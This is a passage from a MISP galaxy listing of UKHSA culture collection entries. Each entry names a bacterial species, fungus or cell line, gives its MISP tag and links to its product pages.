https://www.culturecollections.org.uk/nop/product/streptococcus-salivarius-subsp-thermophilus

Brachyspira pilosicoli

The tag is: *misp-galaxy:ukhsa-culture-collections="Brachyspira pilosicoli"*

Table 29046. Table References

Links
https://www.culturecollections.org.uk/nop/product/brachyspira-pilosicoli

Streptococcus parasanguinis

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus parasanguinis"*

Table 29047. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-parasanguinis

Enterococcus cecorum

The tag is: *misp-galaxy:ukhsa-culture-collections="Enterococcus cecorum"*

Table 29048. Table References

Links
https://www.culturecollections.org.uk/nop/product/enterococcus-cecorum
https://www.culturecollections.org.uk/nop/product/enterococcus-cecorum-2

Staphylococcus kloosii

The tag is: *misp-galaxy:ukhsa-culture-collections="Staphylococcus kloosii"*

Table 29049. Table References

Links
https://www.culturecollections.org.uk/nop/product/staphylococcus-kloosii

Streptococcus ferus

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus ferus"*

Table 29050. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-ferus

Staphylococcus delphini

The tag is: *misp-galaxy:ukhsa-culture-collections="Staphylococcus delphini"*

Table 29051. Table References

Links
https://www.culturecollections.org.uk/nop/product/staphylococcus-delphini

Streptococcus hyointestinalis

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus hyointestinalis"*

Table 29052. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-hyointestinalis

Staphylococcus gallinarum

The tag is: *misp-galaxy:ukhsa-culture-collections="Staphylococcus gallinarum"*

Table 29053. Table References

Links
https://www.culturecollections.org.uk/nop/product/staphylococcus-gallinarum

Providencia rustigianii

The tag is: *misp-galaxy:ukhsa-culture-collections="Providencia rustigianii"*

Table 29054. Table References

Links
https://www.culturecollections.org.uk/nop/product/providencia-rustigianii-9
https://www.culturecollections.org.uk/nop/product/providencia-rustigianii-3
https://www.culturecollections.org.uk/nop/product/providencia-rustigianii-7

https://www.culturecollections.org.uk/nop/product/providencia-rustigianii-8
https://www.culturecollections.org.uk/nop/product/providencia-rustigianii-12
https://www.culturecollections.org.uk/nop/product/providencia-rustigianii-4
https://www.culturecollections.org.uk/nop/product/providencia-rustigianii-11
https://www.culturecollections.org.uk/nop/product/providencia-rustigianii-5
https://www.culturecollections.org.uk/nop/product/providencia-rustigianii
https://www.culturecollections.org.uk/nop/product/providencia-rustigianii-2
https://www.culturecollections.org.uk/nop/product/providencia-rustigianii-10

Legionella cherrii

The tag is: *misp-galaxy:ukhsa-culture-collections="Legionella cherrii"*

Table 29055. Table References

Links
https://www.culturecollections.org.uk/nop/product/legionella-cherrii

Vibrio fluvialis

The tag is: *misp-galaxy:ukhsa-culture-collections="Vibrio fluvialis"*

Table 29056. Table References

Links
https://www.culturecollections.org.uk/nop/product/vibrio-fluvialis
https://www.culturecollections.org.uk/nop/product/vibrio-fluvialis-2

Staphylococcus hominis subsp. hominis

The tag is: *misp-galaxy:ukhsa-culture-collections="Staphylococcus hominis subsp. hominis"*

Table 29057. Table References

Links
https://www.culturecollections.org.uk/nop/product/staphylococcus-hominis-subsp-hominis

Citrobacter koseri

The tag is: *misp-galaxy:ukhsa-culture-collections="Citrobacter koseri"*

Table 29058. Table References

Links

https://www.culturecollections.org.uk/nop/product/citrobacter-koseri-17
https://www.culturecollections.org.uk/nop/product/citrobacter-koseri-16
https://www.culturecollections.org.uk/nop/product/citrobacter-koseri-15
https://www.culturecollections.org.uk/nop/product/citrobacter-koseri-18
https://www.culturecollections.org.uk/nop/product/citrobacter-koseri-14
https://www.culturecollections.org.uk/nop/product/citrobacter-koseri-13
https://www.culturecollections.org.uk/nop/product/citrobacter-koseri-12
https://www.culturecollections.org.uk/nop/product/citrobacter-koseri-11
https://www.culturecollections.org.uk/nop/product/citrobacter-koseri-10
https://www.culturecollections.org.uk/nop/product/citrobacter-koseri-9
https://www.culturecollections.org.uk/nop/product/citrobacter-koseri-6
https://www.culturecollections.org.uk/nop/product/citrobacter-koseri-5
https://www.culturecollections.org.uk/nop/product/citrobacter-koseri
https://www.culturecollections.org.uk/nop/product/citrobacter-koseri-2
https://www.culturecollections.org.uk/nop/product/citrobacter-koseri-7
https://www.culturecollections.org.uk/nop/product/citrobacter-koseri-8
https://www.culturecollections.org.uk/nop/product/citrobacter-koseri-3
https://www.culturecollections.org.uk/nop/product/citrobacter-koseri-4

Vibrio furnissii

The tag is: *misp-galaxy:ukhsa-culture-collections="Vibrio furnissii"*

Table 29059. Table References

Links
https://www.culturecollections.org.uk/nop/product/vibrio-furnissii
https://www.culturecollections.org.uk/nop/product/vibrio-furnissii-5
https://www.culturecollections.org.uk/nop/product/vibrio-furnissii-4
https://www.culturecollections.org.uk/nop/product/vibrio-furnissii-2
https://www.culturecollections.org.uk/nop/product/vibrio-furnissii-3

Staphylococcus intermedius

The tag is: *misp-galaxy:ukhsa-culture-collections="Staphylococcus intermedius"*

Table 29060. Table References

Links

https://www.culturecollections.org.uk/nop/product/staphylococcus-intermedius

Staphylococcus xylosus

The tag is: *misp-galaxy:ukhsa-culture-collections="Staphylococcus xylosus"*

Table 29061. Table References

Links
https://www.culturecollections.org.uk/nop/product/staphylococcus-xylosus-3
https://www.culturecollections.org.uk/nop/product/staphylococcus-xylosus-2

Haemophilus parahaemolyticus

The tag is: *misp-galaxy:ukhsa-culture-collections="Haemophilus parahaemolyticus"*

Table 29062. Table References

Links
https://www.culturecollections.org.uk/nop/product/haemophilus-parahaemolyticus-2
https://www.culturecollections.org.uk/nop/product/haemophilus-parahaemolyticus

Streptococcus thermophilus

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus thermophilus"*

Table 29063. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-thermophilus

Klebsiella pneumoniae subsp. ozaenae

The tag is: *misp-galaxy:ukhsa-culture-collections="Klebsiella pneumoniae subsp. ozaenae"*

Table 29064. Table References

Links
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-subsp-ozaenae-8
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-subsp-ozaenae-7
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-subsp-ozaenae-6
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-subsp-ozaenae-5
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-subsp-ozaenae-4
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-subsp-ozaenae-3

https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-subsp-ozaenae-2
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-subsp-ozaenae-11
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-subsp-ozaenae
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-subsp-ozaenae-9
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-subsp-ozaenae-10

Serratia rubidaea

The tag is: *misp-galaxy:ukhsa-culture-collections="Serratia rubidaea"*

Table 29065. Table References

Links
https://www.culturecollections.org.uk/nop/product/serratia-rubidaea
https://www.culturecollections.org.uk/nop/product/serratia-rubidaea-6
https://www.culturecollections.org.uk/nop/product/serratia-rubidaea-2
https://www.culturecollections.org.uk/nop/product/serratia-rubidaea-5
https://www.culturecollections.org.uk/nop/product/serratia-rubidaea-7
https://www.culturecollections.org.uk/nop/product/serratia-rubidaea-3
https://www.culturecollections.org.uk/nop/product/serratia-rubidaea-4
https://www.culturecollections.org.uk/nop/product/serratia-rubidaea-8

Corynebacterium diphtheriae var intermedius

The tag is: *misp-galaxy:ukhsa-culture-collections="Corynebacterium diphtheriae var intermedius"*

Table 29066. Table References

Links
https://www.culturecollections.org.uk/nop/product/corynebacterium-diphtheriae-var-intermedius-2
https://www.culturecollections.org.uk/nop/product/corynebacterium-diphtheriae-var-intermedius

HEK293A GFP-LC3

The tag is: *misp-galaxy:ukhsa-culture-collections="HEK293A GFP-LC3"*

Table 29067. Table References

Links
https://www.culturecollections.org.uk/nop/product/hek293a-gfp-lc3

Sf9 TiterHigh AC free

The tag is: *misp-galaxy:ukhsa-culture-collections="Sf9 TiterHigh AC free"*

Table 29068. Table References

Links
https://www.culturecollections.org.uk/nop/product/sf9-titerhigh-ac-free

Sf21 TiterHigh AC free

The tag is: *misp-galaxy:ukhsa-culture-collections="Sf21 TiterHigh AC free"*

Table 29069. Table References

Links
https://www.culturecollections.org.uk/nop/product/sf21-titerhigh-ac-free

Streptococcus salivarius subsp. salivarius

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus salivarius subsp. salivarius"*

Table 29070. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-salivarius-subsp-salivarius

Staphylococcus lugdunensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Staphylococcus lugdunensis"*

Table 29071. Table References

Links
https://www.culturecollections.org.uk/nop/product/staphylococcus-lugdunensis
https://www.culturecollections.org.uk/nop/product/staphylococcus-lugdunensis-2

Staphylococcus hyicus subsp. hyicus

The tag is: *misp-galaxy:ukhsa-culture-collections="Staphylococcus hyicus subsp. hyicus"*

Table 29072. Table References

Links
https://www.culturecollections.org.uk/nop/product/staphylococcus-hyicus-subsp-hyicus
https://www.culturecollections.org.uk/nop/product/staphylococcus-hyicus-subsp-hyicus-2

Klebsiella pneumoniae subsp. rhinoscleromatis

The tag is: *misp-galaxy:ukhsa-culture-collections="Klebsiella pneumoniae subsp. rhinoscleromatis"*

Table 29073. Table References

Links
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-subsp-rhinoscleromatis-5
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-subsp-rhinoscleromatis-3
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-subsp-rhinoscleromatis
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-subsp-rhinoscleromatis-2
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-subsp-rhinoscleromatis-4

LUDLU-1

The tag is: *misp-galaxy:ukhsa-culture-collections="LUDLU-1"*

Table 29074. Table References

Links
https://www.culturecollections.org.uk/nop/product/ludlu-1

AGLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="AGLCL"*

Table 29075. Table References

Links
https://www.culturecollections.org.uk/nop/product/aglcl

CCD 18Lu

The tag is: *misp-galaxy:ukhsa-culture-collections="CCD 18Lu"*

Table 29076. Table References

Links
https://www.culturecollections.org.uk/nop/product/ccd-18lu

EZZ (TOU II-4)

The tag is: *misp-galaxy:ukhsa-culture-collections="EZZ (TOU II-4)"*

Table 29077. Table References

Links
https://www.culturecollections.org.uk/nop/product/ezz-tou-ii-4

TAK3

The tag is: *misp-galaxy:ukhsa-culture-collections="TAK3"*

Table 29078. Table References

Links
https://www.culturecollections.org.uk/nop/product/tak3

TOU (TOU I-2)

The tag is: *misp-galaxy:ukhsa-culture-collections="TOU (TOU I-2)"*

Table 29079. Table References

Links
https://www.culturecollections.org.uk/nop/product/tou-tou-i-2

DD3047

The tag is: *misp-galaxy:ukhsa-culture-collections="DD3047"*

Table 29080. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd3047

DD1953

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1953"*

Table 29081. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1953

L929/A

The tag is: *misp-galaxy:ukhsa-culture-collections="L929/A"*

Table 29082. Table References

Links
https://www.culturecollections.org.uk/nop/product/l929a

HeLa-Mitotrap

The tag is: *misp-galaxy:ukhsa-culture-collections="HeLa-Mitotrap"*

Table 29083. Table References

Links
https://www.culturecollections.org.uk/nop/product/hela-mitotrap

HeLa-Mitotrap-Ap1g1-FKBP

The tag is: *misp-galaxy:ukhsa-culture-collections="HeLa-Mitotrap-Ap1g1-FKBP"*

Table 29084. Table References

Links
https://www.culturecollections.org.uk/nop/product/hela-mitotrap-ap1g1-fkbp

R9

The tag is: *misp-galaxy:ukhsa-culture-collections="R9"*

Table 29085. Table References

Links
https://www.culturecollections.org.uk/nop/product/r9

Aspergillus brasiliensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Aspergillus brasiliensis"*

Table 29086. Table References

Links
https://www.culturecollections.org.uk/nop/product/aspergillus-brasiliensis

Zygosaccharomyces rouxii

The tag is: *misp-galaxy:ukhsa-culture-collections="Zygosaccharomyces rouxii"*

Table 29087. Table References

Links
https://www.culturecollections.org.uk/nop/product/zygosaccharomyces-rouxii

Flavobacterium lindanitolerans

The tag is: *misp-galaxy:ukhsa-culture-collections="Flavobacterium lindanitolerans"*

Table 29088. Table References

Links
https://www.culturecollections.org.uk/nop/product/flavobacterium-lindanitolerans-2
https://www.culturecollections.org.uk/nop/product/flavobacterium-lindanitolerans

Chryseobacterium anthropi

The tag is: *misp-galaxy:ukhsa-culture-collections="Chryseobacterium anthropi"*

Table 29089. Table References

Links
https://www.culturecollections.org.uk/nop/product/chryseobacterium-anthropi

Mycoplasma zalophipulmonis sp.

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma zalophipulmonis sp."*

Table 29090. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-zalophipulmonis-sp

Mycoplasma sp.

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma sp."*

Table 29091. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-sp

Chryseobacterium pallidum

The tag is: *misp-galaxy:ukhsa-culture-collections="Chryseobacterium pallidum"*

Table 29092. Table References

Links
https://www.culturecollections.org.uk/nop/product/chryseobacterium-pallidum

Staphylococcus simulans

The tag is: *misp-galaxy:ukhsa-culture-collections="Staphylococcus simulans"*

Table 29093. Table References

Links
https://www.culturecollections.org.uk/nop/product/staphylococcus-simulans

Staphylococcus chromogenes

The tag is: *misp-galaxy:ukhsa-culture-collections="Staphylococcus chromogenes"*

Table 29094. Table References

Links
https://www.culturecollections.org.uk/nop/product/staphylococcus-chromogenes

HT 1197

The tag is: *misp-galaxy:ukhsa-culture-collections="HT 1197"*

Table 29095. Table References

Links
https://www.culturecollections.org.uk/nop/product/ht-1197

Sphingobacterium daejonense

The tag is: *misp-galaxy:ukhsa-culture-collections="Sphingobacterium daejonense"*

Table 29096. Table References

Links
https://www.culturecollections.org.uk/nop/product/sphingobacterium-daejonense-2
https://www.culturecollections.org.uk/nop/product/sphingobacterium-daejonense

Klebsiella planticola

The tag is: *misp-galaxy:ukhsa-culture-collections="Klebsiella planticola"*

Table 29097. Table References

Links
https://www.culturecollections.org.uk/nop/product/klebsiella-planticola

Brachyspira pilosicola

The tag is: *misp-galaxy:ukhsa-culture-collections="Brachyspira pilosicola"*

Table 29098. Table References

Links
https://www.culturecollections.org.uk/nop/product/brachyspira-pilosicola
https://www.culturecollections.org.uk/nop/product/brachyspira-pilosicola-2

Legionella sainthelensi

The tag is: *misp-galaxy:ukhsa-culture-collections="Legionella sainthelensi"*

Table 29099. Table References

Links
https://www.culturecollections.org.uk/nop/product/legionella-sainthelensi-2
https://www.culturecollections.org.uk/nop/product/legionella-sainthelensi

Staphylococcus caprae

The tag is: *misp-galaxy:ukhsa-culture-collections="Staphylococcus caprae"*

Table 29100. Table References

Links
https://www.culturecollections.org.uk/nop/product/staphylococcus-caprae

Staphylococcus auricularis

The tag is: *misp-galaxy:ukhsa-culture-collections="Staphylococcus auricularis"*

Table 29101. Table References

Links
https://www.culturecollections.org.uk/nop/product/staphylococcus-auricularis

Legionella hackeliae

The tag is: *misp-galaxy:ukhsa-culture-collections="Legionella hackeliae"*

Table 29102. Table References

Links
https://www.culturecollections.org.uk/nop/product/legionella-hackeliae
https://www.culturecollections.org.uk/nop/product/legionella-hackeliae-2

Providencia stuartii

The tag is: *misp-galaxy:ukhsa-culture-collections="Providencia stuartii"*

Table 29103. Table References

Links
https://www.culturecollections.org.uk/nop/product/providencia-stuartii-6
https://www.culturecollections.org.uk/nop/product/providencia-stuartii-3
https://www.culturecollections.org.uk/nop/product/providencia-stuartii-4
https://www.culturecollections.org.uk/nop/product/providencia-stuartii-15
https://www.culturecollections.org.uk/nop/product/providencia-stuartii-8
https://www.culturecollections.org.uk/nop/product/providencia-stuartii-10
https://www.culturecollections.org.uk/nop/product/providencia-stuartii-5
https://www.culturecollections.org.uk/nop/product/providencia-stuartii-7
https://www.culturecollections.org.uk/nop/product/providencia-stuartii-12
https://www.culturecollections.org.uk/nop/product/providencia-stuartii-14
https://www.culturecollections.org.uk/nop/product/providencia-stuartii-17
https://www.culturecollections.org.uk/nop/product/providencia-stuartii
https://www.culturecollections.org.uk/nop/product/providencia-stuartii-11
https://www.culturecollections.org.uk/nop/product/providencia-stuartii-13
https://www.culturecollections.org.uk/nop/product/providencia-stuartii-2
https://www.culturecollections.org.uk/nop/product/providencia-stuartii-9
https://www.culturecollections.org.uk/nop/product/providencia-stuartii-16

Aggregatibacter sp.

The tag is: *misp-galaxy:ukhsa-culture-collections="Aggregatibacter sp."*

Table 29104. Table References

Links
https://www.culturecollections.org.uk/nop/product/aggregatibacter-sp

Serratia grimesii

The tag is: *misp-galaxy:ukhsa-culture-collections="Serratia grimesii"*

Table 29105. Table References

Links
https://www.culturecollections.org.uk/nop/product/serratia-grimesii

Tatumella ptyseos

The tag is: *misp-galaxy:ukhsa-culture-collections="Tatumella ptyseos"*

Table 29106. Table References

Links
https://www.culturecollections.org.uk/nop/product/tatumella-ptyseos

Cedecea lapagei

The tag is: *misp-galaxy:ukhsa-culture-collections="Cedecea lapagei"*

Table 29107. Table References

Links
https://www.culturecollections.org.uk/nop/product/cedecea-lapagei

Pluralibacter gergoviae

The tag is: *misp-galaxy:ukhsa-culture-collections="Pluralibacter gergoviae"*

Table 29108. Table References

Links
https://www.culturecollections.org.uk/nop/product/pluralibacter-gergoviae

Pasteurella multocida

The tag is: *misp-galaxy:ukhsa-culture-collections="Pasteurella multocida"*

Table 29109. Table References

Links
https://www.culturecollections.org.uk/nop/product/pasteurella-multocida-28

https://www.culturecollections.org.uk/nop/product/pasteurella-multocida-29
https://www.culturecollections.org.uk/nop/product/pasteurella-multocida-17
https://www.culturecollections.org.uk/nop/product/pasteurella-multocida-21
https://www.culturecollections.org.uk/nop/product/pasteurella-multocida-20
https://www.culturecollections.org.uk/nop/product/pasteurella-multocida-19
https://www.culturecollections.org.uk/nop/product/pasteurella-multocida-8
https://www.culturecollections.org.uk/nop/product/pasteurella-multocida-31
https://www.culturecollections.org.uk/nop/product/pasteurella-multocida-22
https://www.culturecollections.org.uk/nop/product/pasteurella-multocida-25
https://www.culturecollections.org.uk/nop/product/pasteurella-multocida-27
https://www.culturecollections.org.uk/nop/product/pasteurella-multocida-18
https://www.culturecollections.org.uk/nop/product/pasteurella-multocida-3
https://www.culturecollections.org.uk/nop/product/pasteurella-multocida-10
https://www.culturecollections.org.uk/nop/product/pasteurella-multocida
https://www.culturecollections.org.uk/nop/product/pasteurella-multocida-9
https://www.culturecollections.org.uk/nop/product/pasteurella-multocida-12
https://www.culturecollections.org.uk/nop/product/pasteurella-multocida-13
https://www.culturecollections.org.uk/nop/product/pasteurella-multocida-32
https://www.culturecollections.org.uk/nop/product/pasteurella-multocida-33
https://www.culturecollections.org.uk/nop/product/pasteurella-multocida-23
https://www.culturecollections.org.uk/nop/product/pasteurella-multocida-24
https://www.culturecollections.org.uk/nop/product/pasteurella-multocida-26
https://www.culturecollections.org.uk/nop/product/pasteurella-multocida-2
https://www.culturecollections.org.uk/nop/product/pasteurella-multocida-4
https://www.culturecollections.org.uk/nop/product/pasteurella-multocida-6
https://www.culturecollections.org.uk/nop/product/pasteurella-multocida-30
https://www.culturecollections.org.uk/nop/product/pasteurella-multocida-15
https://www.culturecollections.org.uk/nop/product/pasteurella-multocida-16
https://www.culturecollections.org.uk/nop/product/pasteurella-multocida-5
https://www.culturecollections.org.uk/nop/product/pasteurella-multocida-7
https://www.culturecollections.org.uk/nop/product/pasteurella-multocida-11
https://www.culturecollections.org.uk/nop/product/pasteurella-multocida-14

Pasteurella bettyae

The tag is: *misp-galaxy:ukhsa-culture-collections="Pasteurella bettyae"*

Table 29110. Table References

Links
https://www.culturecollections.org.uk/nop/product/pasteurella-bettyae-2
https://www.culturecollections.org.uk/nop/product/pasteurella-bettyae
https://www.culturecollections.org.uk/nop/product/pasteurella-bettyae-3

Plesiomonas shigelloides

The tag is: *misp-galaxy:ukhsa-culture-collections="Plesiomonas shigelloides"*

Table 29111. Table References

Links
https://www.culturecollections.org.uk/nop/product/plesiomonas-shigelloides
https://www.culturecollections.org.uk/nop/product/plesiomonas-shigelloides-3
https://www.culturecollections.org.uk/nop/product/plesiomonas-shigelloides-2

Providencia alcalifaciens

The tag is: *misp-galaxy:ukhsa-culture-collections="Providencia alcalifaciens"*

Table 29112. Table References

Links
https://www.culturecollections.org.uk/nop/product/providencia-alcalifaciens-6
https://www.culturecollections.org.uk/nop/product/providencia-alcalifaciens
https://www.culturecollections.org.uk/nop/product/providencia-alcalifaciens-9
https://www.culturecollections.org.uk/nop/product/providencia-alcalifaciens-10
https://www.culturecollections.org.uk/nop/product/providencia-alcalifaciens-11
https://www.culturecollections.org.uk/nop/product/providencia-alcalifaciens-12
https://www.culturecollections.org.uk/nop/product/providencia-alcalifaciens-7
https://www.culturecollections.org.uk/nop/product/providencia-alcalifaciens-4
https://www.culturecollections.org.uk/nop/product/providencia-alcalifaciens-5
https://www.culturecollections.org.uk/nop/product/providencia-alcalifaciens-8
https://www.culturecollections.org.uk/nop/product/providencia-alcalifaciens-2
https://www.culturecollections.org.uk/nop/product/providencia-alcalifaciens-3

Cronobacter universalis

The tag is: *misp-galaxy:ukhsa-culture-collections="Cronobacter universalis"*

Table 29113. Table References

Links
https://www.culturecollections.org.uk/nop/product/cronobacter-universalis

Klebsiella edwardsii var. edwardsii

The tag is: *misp-galaxy:ukhsa-culture-collections="Klebsiella edwardsii var. edwardsii"*

Table 29114. Table References

Links
https://www.culturecollections.org.uk/nop/product/klebsiella-edwardsii-var-edwardsii-2

Hafnia alvei

The tag is: *misp-galaxy:ukhsa-culture-collections="Hafnia alvei"*

Table 29115. Table References

Links
https://www.culturecollections.org.uk/nop/product/hafnia-alvei-2
https://www.culturecollections.org.uk/nop/product/hafnia-alvei
https://www.culturecollections.org.uk/nop/product/hafnia-alvei-4
https://www.culturecollections.org.uk/nop/product/hafnia-alvei-7
https://www.culturecollections.org.uk/nop/product/hafnia-alvei-8
https://www.culturecollections.org.uk/nop/product/hafnia-alvei-3
https://www.culturecollections.org.uk/nop/product/hafnia-alvei-5
https://www.culturecollections.org.uk/nop/product/hafnia-alvei-6
https://www.culturecollections.org.uk/nop/product/hafnia-alvei-9
https://www.culturecollections.org.uk/nop/product/hafnia-alvei-11
https://www.culturecollections.org.uk/nop/product/hafnia-alvei-10

Avibacterium volantium

The tag is: *misp-galaxy:ukhsa-culture-collections="Avibacterium volantium"*

Table 29116. Table References

Links

https://www.culturecollections.org.uk/nop/product/avibacterium-volantium

Prevotella denticola

The tag is: *misp-galaxy:ukhsa-culture-collections="Prevotella denticola"*

Table 29117. Table References

Links
https://www.culturecollections.org.uk/nop/product/prevotella-denticola

Lactobacillus delbrueckii subsp. bulgaricus

The tag is: *misp-galaxy:ukhsa-culture-collections="Lactobacillus delbrueckii subsp. bulgaricus"*

Table 29118. Table References

Links
https://www.culturecollections.org.uk/nop/product/lactobacillus-delbrueckii-subsp-bulgaricus

Yersinia intermedia

The tag is: *misp-galaxy:ukhsa-culture-collections="Yersinia intermedia"*

Table 29119. Table References

Links
https://www.culturecollections.org.uk/nop/product/yersinia-intermedia

A 172

The tag is: *misp-galaxy:ukhsa-culture-collections="A 172"*

Table 29120. Table References

Links
https://www.culturecollections.org.uk/nop/product/a-172

H129-2

The tag is: *misp-galaxy:ukhsa-culture-collections="H129-2"*

Table 29121. Table References

Links
https://www.culturecollections.org.uk/nop/product/h129-2

SIRC

The tag is: *misp-galaxy:ukhsa-culture-collections="SIRC"*

Table 29122. Table References

Links
https://www.culturecollections.org.uk/nop/product/sirc

H129-1

The tag is: *misp-galaxy:ukhsa-culture-collections="H129-1"*

Table 29123. Table References

Links
https://www.culturecollections.org.uk/nop/product/h129-1-3

Streptococcus australis

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus australis"*

Table 29124. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-australis

W6/32HL

The tag is: *misp-galaxy:ukhsa-culture-collections="W6/32HL"*

Table 29125. Table References

Links
https://www.culturecollections.org.uk/nop/product/w632hl

H69

The tag is: *misp-galaxy:ukhsa-culture-collections="H69"*

Table 29126. Table References

Links
https://www.culturecollections.org.uk/nop/product/h69

Providencia friedericiana

The tag is: *misp-galaxy:ukhsa-culture-collections="Providencia friedericiana"*

Table 29127. Table References

Links
https://www.culturecollections.org.uk/nop/product/providencia-friedericiana

b.End.3

The tag is: *misp-galaxy:ukhsa-culture-collections="b.End.3"*

Table 29128. Table References

Links
https://www.culturecollections.org.uk/nop/product/bend3

CRI-G5

The tag is: *misp-galaxy:ukhsa-culture-collections="CRI-G5"*

Table 29129. Table References

Links
https://www.culturecollections.org.uk/nop/product/cri-g5

Staphylococcus schleiferi

The tag is: *misp-galaxy:ukhsa-culture-collections="Staphylococcus schleiferi"*

Table 29130. Table References

Links
https://www.culturecollections.org.uk/nop/product/staphylococcus-schleiferi

Achromobacter denitrificans

The tag is: *misp-galaxy:ukhsa-culture-collections="Achromobacter denitrificans"*

Table 29131. Table References

Links
https://www.culturecollections.org.uk/nop/product/achromobacter-denitrificans-2
https://www.culturecollections.org.uk/nop/product/achromobacter-denitrificans

Bacillus subtilis

The tag is: *misp-galaxy:ukhsa-culture-collections="Bacillus subtilis"*

Table 29132. Table References

Links
https://www.culturecollections.org.uk/nop/product/bacillus-subtilis
https://www.culturecollections.org.uk/nop/product/bacillus-subtilis-2
https://www.culturecollections.org.uk/nop/product/bacillus-subtilis-3
https://www.culturecollections.org.uk/nop/product/bacillus-subtilis-9
https://www.culturecollections.org.uk/nop/product/bacillus-subtilis-8
https://www.culturecollections.org.uk/nop/product/bacillus-subtilis-4
https://www.culturecollections.org.uk/nop/product/bacillus-subtilis-5
https://www.culturecollections.org.uk/nop/product/bacillus-subtilis-6
https://www.culturecollections.org.uk/nop/product/bacillus-subtilis-7

Abiotrophia adiacens

The tag is: *misp-galaxy:ukhsa-culture-collections="Abiotrophia adiacens"*

Table 29133. Table References

Links
https://www.culturecollections.org.uk/nop/product/abiotrophia-adiacens

CRI-D11

The tag is: *misp-galaxy:ukhsa-culture-collections="CRI-D11"*

Table 29134. Table References

Links
https://www.culturecollections.org.uk/nop/product/cri-d11

WS1

The tag is: *misp-galaxy:ukhsa-culture-collections="WS1"*

Table 29135. Table References

Links
https://www.culturecollections.org.uk/nop/product/ws1

KCB89018

The tag is: *misp-galaxy:ukhsa-culture-collections="KCB89018"*

Table 29136. Table References

Links
https://www.culturecollections.org.uk/nop/product/kcb89018

AFRC IAH-CC8

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC IAH-CC8"*

Table 29137. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-iah-cc8

TPS

The tag is: *misp-galaxy:ukhsa-culture-collections="TPS"*

Table 29138. Table References

Links
https://www.culturecollections.org.uk/nop/product/tps

L-M (TK-)

The tag is: *misp-galaxy:ukhsa-culture-collections="L-M (TK-)"*

Table 29139. Table References

Links
https://www.culturecollections.org.uk/nop/product/l-m-tk-

Porphyromonas crevioricanis

The tag is: *misp-galaxy:ukhsa-culture-collections="Porphyromonas crevioricanis"*

Table 29140. Table References

Links
https://www.culturecollections.org.uk/nop/product/porphyromonas-crevioricanis

F11

The tag is: *misp-galaxy:ukhsa-culture-collections="F11"*

Table 29141. Table References

Links
https://www.culturecollections.org.uk/nop/product/f11-4

CHP 4 (W.W.)

The tag is: *misp-galaxy:ukhsa-culture-collections="CHP 4 (W.W.)"*

Table 29142. Table References

Links
https://www.culturecollections.org.uk/nop/product/chp-4-ww

NTERA-2 clone D1

The tag is: *misp-galaxy:ukhsa-culture-collections="NTERA-2 clone D1"*

Table 29143. Table References

Links
https://www.culturecollections.org.uk/nop/product/ntera-2-clone-d1-4

Fao

The tag is: *misp-galaxy:ukhsa-culture-collections="Fao"*

Table 29144. Table References

Links
https://www.culturecollections.org.uk/nop/product/fao

RK13

The tag is: *misp-galaxy:ukhsa-culture-collections="RK13"*

Table 29145. Table References

Links
https://www.culturecollections.org.uk/nop/product/rk13

P-tyr-1

The tag is: *misp-galaxy:ukhsa-culture-collections="P-tyr-1"*

Table 29146. Table References

Links
https://www.culturecollections.org.uk/nop/product/p-tyr-1

TK6

The tag is: *misp-galaxy:ukhsa-culture-collections="TK6"*

Table 29147. Table References

Links
https://www.culturecollections.org.uk/nop/product/tk6

MDBK

The tag is: *misp-galaxy:ukhsa-culture-collections="MDBK"*

Table 29148. Table References

Links
https://www.culturecollections.org.uk/nop/product/mdbk

BT

The tag is: *misp-galaxy:ukhsa-culture-collections="BT"*

Table 29149. Table References

Links
https://www.culturecollections.org.uk/nop/product/bt

Tritirachium roseum

The tag is: *misp-galaxy:ukhsa-culture-collections="Tritirachium roseum"*

Table 29150. Table References

Links
https://www.culturecollections.org.uk/nop/product/tritirachium-roseum
https://www.culturecollections.org.uk/nop/product/tritirachium-roseum-2

Tritirachium oryzae

The tag is: *misp-galaxy:ukhsa-culture-collections="Tritirachium oryzae"*

Table 29151. Table References

Links
https://www.culturecollections.org.uk/nop/product/tritirachium-oryzae

Hs 27

The tag is: *misp-galaxy:ukhsa-culture-collections="Hs 27"*

Table 29152. Table References

Links
https://www.culturecollections.org.uk/nop/product/hs-27

CHO-WBL (IVGT)

